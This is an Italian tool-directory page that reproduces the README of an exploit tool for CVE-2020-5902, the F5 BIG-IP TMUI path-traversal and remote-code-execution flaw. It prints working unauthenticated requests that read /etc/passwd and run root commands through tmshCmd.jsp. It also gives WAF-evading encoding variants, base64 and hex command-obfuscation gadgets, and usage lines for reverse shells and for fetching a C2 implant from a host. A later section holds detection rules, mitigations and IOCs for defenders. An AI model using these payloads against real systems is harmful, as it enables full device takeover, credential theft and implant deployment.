Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
F5-BIG-IP — F5 BIG-IP è una piattaforma di distribuzione e sicurezza delle applicazioni ampiamente utilizzata in ambienti aziendali. La CVE-2020-5902 è una vulnerabilità critica nel TMUI che, nelle versioni non corrette, può consentire accesso non autorizzato ed esecuzione remota di codice, rafforzando la necessità di aggiornamento e gestione continua delle vulnerabilità. | Kitploit
Strumenti/GitHubGitHub/devrafaelprogrammer/f5-big-ip
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlApprendimento e FormazioneRed TeamingSviluppo Payload
GitHub
devrafaelprogrammer/f5-big-ip

F5-BIG-IP

Vedi Repository
32 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

F5 BIG-IP è una piattaforma di distribuzione e sicurezza delle applicazioni ampiamente utilizzata in ambienti aziendali. La CVE-2020-5902 è una vulnerabilità critica nel TMUI che, nelle versioni non corrette, può consentire accesso non autorizzato ed esecuzione remota di codice, rafforzando la necessità di aggiornamento e gestione continua delle vulnerabilità.

Condividi

CVE-2020-5902 — F5 BIG-IP TMUI RCE

Exploit proof-of-concept per la vulnerabilità critica di path traversal / remote code execution nell'interfaccia utente di gestione del traffico (TMUI) di F5 BIG-IP.

⚠️ Solo per test di penetrazione autorizzati e ricerca sulla sicurezza. L'uso non autorizzato contro sistemi di cui non si è proprietari o per i quali non si dispone di un'autorizzazione scritta è illegale. L'autore non si assume alcuna responsabilità per un uso improprio di questo strumento.


Indice

  • Contesto
  • Analisi della vulnerabilità
  • Approfondimento tecnico
  • Versioni interessate
  • Funzionalità
  • Installazione
  • Utilizzo
  • Misure difensive
  • Rilevamento e Threat Hunting
  • Cronologia
  • Riferimenti
  • Disclaimer

  • Contesto

    F5 BIG-IP è una famiglia di appliance di rete polivalenti (load balancer, WAF, application delivery controller) implementata nella maggior parte delle aziende Fortune 500, delle istituzioni finanziarie, delle organizzazioni sanitarie e delle agenzie governative in tutto il mondo. La Traffic Management User Interface (TMUI) — nota anche come Configuration Utility — è il portale di gestione basato sul web accessibile sulla porta 443 (o 8443).

    Nel luglio 2020, F5 ha divulgato la CVE-2020-5902, una vulnerabilità critica (CVSS 9.8) di path traversal non autenticato nella TMUI che consente a un attaccante remoto e non autenticato di:

    • Leggere file arbitrari dal sistema Linux sottostante (LFI)
    • Eseguire comandi di sistema arbitrari come root (RCE)
    • Compromettere completamente l'appliance e fare pivot verso le reti interne

    Entro pochi giorni dalla divulgazione pubblica, è stato osservato uno sfruttamento di massa in ambiente reale, anche da parte di attori statali.


    Analisi della vulnerabilità

    Causa principale

    La TMUI è basata su Apache Tomcat e utilizza un filtro servlet per applicare l'autenticazione sulle risorse protette. La vulnerabilità risiede nel modo in cui Tomcat analizza i segmenti di percorso delimitati da punto e virgola (;).

    La seguente richiesta aggira completamente l'autenticazione:

    root@kitploit:~
    GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
    

    Perché funziona:

    1. Il filtro servlet di Tomcat vede il percorso come /tmui/login.jsp (termina prima di ;) — che è la pagina di login pubblica — e consente la richiesta.
    2. Il risolutore di URL di Tomcat elabora quindi /..;/ come un path traversal (/../) prima dell'invio.
    3. La richiesta viene infine instradata al servlet protetto fileRead.jsp senza autenticazione.
    root@kitploit:~
    ┌──────────────────────────────────────────────────────────────────┐
    │  Client Request                                                   │
    │  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
    └────────────────────────────┬─────────────────────────────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │    Tomcat Servlet Filter       │
                 │  Sees: /tmui/login.jsp  ✓     │
                 │  (public endpoint → ALLOW)    │
                 └───────────────┬───────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │    Tomcat URL Resolver         │
                 │  Resolves: /..;/ → /../       │
                 │  Final path: /tmui/locallb/   │
                 │  workspace/fileRead.jsp ← 🔓  │
                 └───────────────┬───────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │  fileRead.jsp (no auth check) │
                 │  Reads arbitrary files as root│
                 └───────────────────────────────┘
    

    Da LFI a RCE

    Il servlet tmshCmd.jsp (raggiungibile anche tramite lo stesso traversal) passa i parametri command e utilCmdArgs direttamente a tmsh (la shell di gestione di BIG-IP), che incapsula run util bash -c '...'. Ciò consente l'esecuzione di comandi di sistema a livello root senza autenticazione:

    root@kitploit:~
    POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
    command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
    

    Approfondimento tecnico

    Flusso di attacco

    root@kitploit:~
    Phase 1: Reconnaissance
      └─ TCP banner grab (HTTP/TLS fingerprint)
      └─ SSL certificate analysis
      └─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
      └─ BIG-IP version estimation from /etc/f5-release
    
    Phase 2: Vulnerability Check
      └─ Iterate over 6 traversal encoding variants
      └─ Test against 4 known-readable sentinel files
      └─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)
    
    Phase 3: Exploitation
      ├─ Vector A: tmshCmd.jsp (primary RCE)
      │    └─ Command obfuscated via base64 / hex-encode gadgets
      ├─ Vector B: fileRead.jsp + command injection in fileName param
      │    └─ OS command injected into the fileName parameter
      └─ Vector C: Log poisoning (User-Agent injection → read access_log)
    
    Phase 4: Post-Exploitation (optional)
      ├─ Interactive shell (command REPL)
      ├─ Reverse shell (4 concurrent one-liners)
      ├─ LFI brute-force (30 sensitive paths, parallel)
      └─ C2 implant deployment (Sliver / Metasploit / custom)
    

    Varianti di encoding del traversal

    VariantePayload
    Standardtmui/login.jsp/..;/tmui/...
    Punto e virgola codificatotmui/login.jsp/..%3b/tmui/...
    Doppio URL-encodingtmui%2flogin.jsp%2f..%3b%2ftmui%2f...
    Dot-dot Unicodetmui/login.jsp/%2e%2e;/tmui/...
    Variazione di maiuscole/minuscoleTMUI/login.jsp/..;/tmui/...
    Confusione di directorytmui/login.jsp/..;/tmui/locallb/workspace/../workspace/...

    Gadget di offuscamento dei comandi

    Lo strumento applica uno dei due gadget di offuscamento a ogni esecuzione, rendendo più difficile il rilevamento tramite firme statiche:

    root@kitploit:~
    # Gadget 1 — Base64 encode/decode pipeline
    bash -c {echo,aWQ=}|{base64,-d}|bash
    
    # Gadget 2 — Hex-byte printf evaluation
    eval "$(printf '\x69\x64')"
    

    Versioni interessate

    Ramo BIG-IPIntervallo vulnerabileVersione corretta
    15.x< 15.1.0.4≥ 15.1.0.4
    14.x< 14.1.2.6≥ 14.1.2.6
    13.x< 13.1.3.4≥ 13.1.3.4
    12.x< 12.1.5.2≥ 12.1.5.2
    11.x< 11.6.5.2≥ 11.6.5.2

    BIG-IQ, BIG-IQ Centralized Management, F5OS e Traffix SDC non sono interessati da questa specifica CVE.


    Funzionalità

    • Path traversal multi-variante — 6 permutazioni di encoding per eludere le firme WAF/IDS
    • Tre vettori RCE indipendenti — tmshCmd.jsp, iniezione in fileRead, log poisoning
    • Gadget di offuscamento dei comandi — pipeline base64 e hex-encode
    • Fase di ricognizione passiva — banner TCP, impronta SSL/TLS, analisi delle intestazioni HTTP
    • Brute-force LFI parallelo — 30 percorsi sensibili, 10 thread concorrenti
    • Reverse shell concorrenti — 4 one-liner lanciati simultaneamente
    • Integrazione C2 — Sliver, Metasploit, implant personalizzati (Linux/Windows/PS1)
    • Intestazioni di evasione — User-Agent casuali, intestazioni di spoofing IP, intestazioni di disturbo
    • REPL di shell interattiva — comandi !revshell, !c2, !read, !brute
    • Supporto proxy — integrazione con Burp Suite / mitmproxy

    Installazione

    root@kitploit:~
    git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
    cd F5-BIG-IP
    pip install requests pycryptodome urllib3
    

    Requisiti: Python 3.10+


    Utilizzo

    root@kitploit:~
    python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                            [--cmd CMD] [--shell] [--lfi-brute]
                            [--revshell LHOST LPORT]
                            [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                            target
    

    Esempi

    root@kitploit:~
    # 1. Vulnerability check only
    python CVE-2020-5902.py 192.168.1.100
    
    # 2. Custom port + single command execution
    python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
    
    # 3. Interactive shell
    python CVE-2020-5902.py 192.168.1.100 --shell
    
    # 4. LFI brute-force (reads 30 sensitive paths)
    python CVE-2020-5902.py 192.168.1.100 --lfi-brute
    
    # 5. Reverse shell callback
    python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
    
    # 6. Deploy a C2 implant (Sliver example)
    python CVE-2020-5902.py 192.168.1.100 \
      --c2-url http://10.0.0.1:8000/implant \
      --c2-type linux
    
    # 7. Route through Burp Suite for traffic inspection
    python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
    

    Comandi della shell interattiva

    Una volta in modalità --shell, sono disponibili i seguenti comandi speciali:

    ComandoDescrizione
    !revshell <lhost> <lport>Lancia 4 varianti di reverse shell in contemporanea
    !c2 <url> <type> [args]Scarica ed esegue un implant C2
    !read <path>Legge un file arbitrario tramite LFI
    !bruteEsegue il brute-force su 30 percorsi sensibili
    !exitTermina la sessione
    <qualsiasi comando OS>Esegue tramite RCE e stampa l'output

    Misure difensive

    Mitigazioni immediate (se non è ancora possibile applicare la patch)

    1. Bloccare l'accesso alla TMUI da Internet

    La mitigazione singolarmente più efficace è garantire che l'interfaccia di gestione non sia mai raggiungibile da reti non fidate:

    root@kitploit:~
    # BIG-IP: restrict management access to a dedicated VLAN/IP range
    tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
    tmsh save sys config
    

    In alternativa, dalla configurazione Self IP di BIG-IP, assicurarsi che la porta di gestione non abbia alcuna rotta esterna.

    2. Applicare la mitigazione ufficiale di F5 (pre-patch)

    F5 ha pubblicato uno script di mitigazione che aggiunge una RewriteRule di Apache per bloccare il pattern di traversal:

    root@kitploit:~
    # /etc/httpd/conf.d/CVE-2020-5902.conf
    RewriteEngine On
    RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
    RewriteRule ^ - [F,L]
    

    Riferimento: K52145254 — Passaggi di mitigazione

    3. Patch — Applicare la versione corretta

    La soluzione definitiva consiste nell'aggiornare BIG-IP a una versione corretta (vedi la tabella Versioni interessate). F5 ha corretto la logica del filtro servlet affinché i segmenti di percorso delimitati da punto e virgola vengano analizzati correttamente prima dell'imposizione dell'autenticazione.


    Difese a livello di architettura

    Accesso Zero-Trust alla rete per i piani di gestione

    root@kitploit:~
    ┌────────────────────────────────────────────────────────────────┐
    │  RECOMMENDED ARCHITECTURE                                       │
    │                                                                 │
    │  Internet ──────► Firewall ──────► DMZ / Production           │
    │                      │                                          │
    │                      │  (DENY all traffic to mgmt ports)        │
    │                      │                                          │
    │                   Jump Host ──────► BIG-IP TMUI (port 443)    │
    │                 (MFA + VPN)         (management VLAN only)     │
    └────────────────────────────────────────────────────────────────┘
    

    Principi chiave:

    • Le interfacce di gestione non devono mai trovarsi sullo stesso IP/porta del traffico di produzione
    • L'accesso richiede VPN + MFA prima di raggiungere il jump host
    • Il blocco delle porte Self IP di BIG-IP deve essere impostato su Allow None o Allow Defaults

    Regole del Web Application Firewall

    Se un WAF si trova davanti alla gestione di BIG-IP (insolito ma possibile in alcune architetture), aggiungere regole per bloccare:

    • Richieste che contengono ; nel percorso URL
    • Richieste che corrispondono a ..; o %3b nei segmenti di percorso
    • Richieste a /tmui/locallb/workspace/ da sorgenti non di gestione

    Checklist di hardening della sicurezza

    root@kitploit:~
    [ ] BIG-IP patched to a fixed version
    [ ] TMUI not exposed to the internet (verify with Shodan/Censys)
    [ ] Management VLAN segregated from production
    [ ] Self IP port lockdown configured (Allow None or Allow Defaults)
    [ ] MFA enforced on management access
    [ ] BIG-IP software inventory in asset management system
    [ ] Automated vulnerability scanning (Tenable/Qualys) includes BIG-IP
    [ ] Log forwarding to SIEM configured (access_log, audit.log)
    [ ] Network segmentation: compromised BIG-IP cannot reach domain controllers
    [ ] Incident response playbook includes network device compromise scenario
    

    Rilevamento e Threat Hunting

    Firme IDS/IPS (Snort / Suricata)

    root@kitploit:~
    # Detect path traversal attempts (semicolon bypass)
    alert http any any -> $HOME_NET 443 (
        msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
        flow:to_server,established;
        content:"tmui"; http_uri; nocase;
        content:"..;"; http_uri;
        content:"workspace"; http_uri; nocase;
        reference:cve,2020-5902;
        sid:9000001; rev:1;
    )
    
    # Detect encoded semicolon variant
    alert http any any -> $HOME_NET 443 (
        msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
        flow:to_server,established;
        content:"tmui"; http_uri; nocase;
        content:"%3b"; http_uri; nocase;
        content:"fileRead"; http_uri; nocase;
        reference:cve,2020-5902;
        sid:9000002; rev:1;
    )
    

    Pattern dei log Apache/HTTPD (grep)

    root@kitploit:~
    # Hunt for traversal attempts in BIG-IP access logs
    grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log
    
    # Look for successful hits to the vulnerable endpoints
    grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
      grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."
    

    Query SIEM (Splunk SPL)

    root@kitploit:~
    index=network sourcetype=f5:bigip:access
      (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
      (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
    | eval risk=if(status=200, "HIGH", "MEDIUM")
    | stats count by src_ip, uri_path, status, risk
    | sort -count
    

    Indicatori di compromissione (IOC)

    Pattern URL:

    root@kitploit:~
    /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
    /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
    /tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
    /tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp
    

    Obiettivi comuni degli attaccanti (file consultati):

    root@kitploit:~
    /etc/passwd                  — credential harvesting
    /config/bigip.conf           — VPN/routing config exfiltration
    /config/bigip.license        — license key theft
    /config/bigip_user.conf      — local admin account enumeration
    /root/.bash_history          — historical command reconnaissance
    

    Cronologia

    DataEvento
    2020-06-30F5 notificata privatamente
    2020-07-01F5 pubblica l'advisory (K52145254) e le patch
    2020-07-03PoC pubblico rilasciato su Twitter
    2020-07-04Sfruttamento di massa osservato da diverse società di threat intelligence
    2020-07-06La CISA emette la Direttiva di emergenza 20-03 che impone la patch a livello federale
    2020-07-09Attori statali (APT) confermati nello sfruttamento in ambiente reale
    2020-07-15Circa 8.000 istanze BIG-IP ancora senza patch (Shodan)
    2020-08-xxI gruppi ransomware iniziano a prendere di mira i dispositivi BIG-IP non patchati

    Riferimenti

    • NVD — CVE-2020-5902
    • Advisory di sicurezza F5 K52145254
    • Direttiva di emergenza CISA 20-03
    • Analisi di Rapid7
    • Articolo di BleepingComputer
    • Query Shodan: http.title:"BIG-IP" port:443

    Disclaimer

    Questo strumento è fornito solo a scopo educativo e per valutazioni di sicurezza autorizzate. È pensato per:

    • Penetration tester con autorizzazione scritta del proprietario delle risorse
    • Ricercatori di sicurezza che studiano la vulnerabilità in ambienti di laboratorio
    • Difensori che creano firme di rilevamento e configurazioni di hardening
    • Partecipanti a competizioni CTF (Capture the Flag)

    L'uso di questo strumento contro sistemi senza un'esplicita autorizzazione scritta costituisce un reato penale ai sensi del Computer Fraud and Abuse Act (CFAA), del UK Computer Misuse Act, della Lei Nº 12.737/2012 del Brasile (Lei Carolina Dieckmann) e delle leggi equivalenti nella maggior parte delle giurisdizioni del mondo.

    L'autore e i contributori di questo repository non si assumono alcuna responsabilità per qualsiasi danno, conseguenza legale o altro pregiudizio derivante dall'uso improprio di questo software.


    Realizzato per la comunità della ricerca sulla sicurezza. Applicate le patch ai vostri sistemi. Proteggete le vostre reti.

    Scarica lo strumento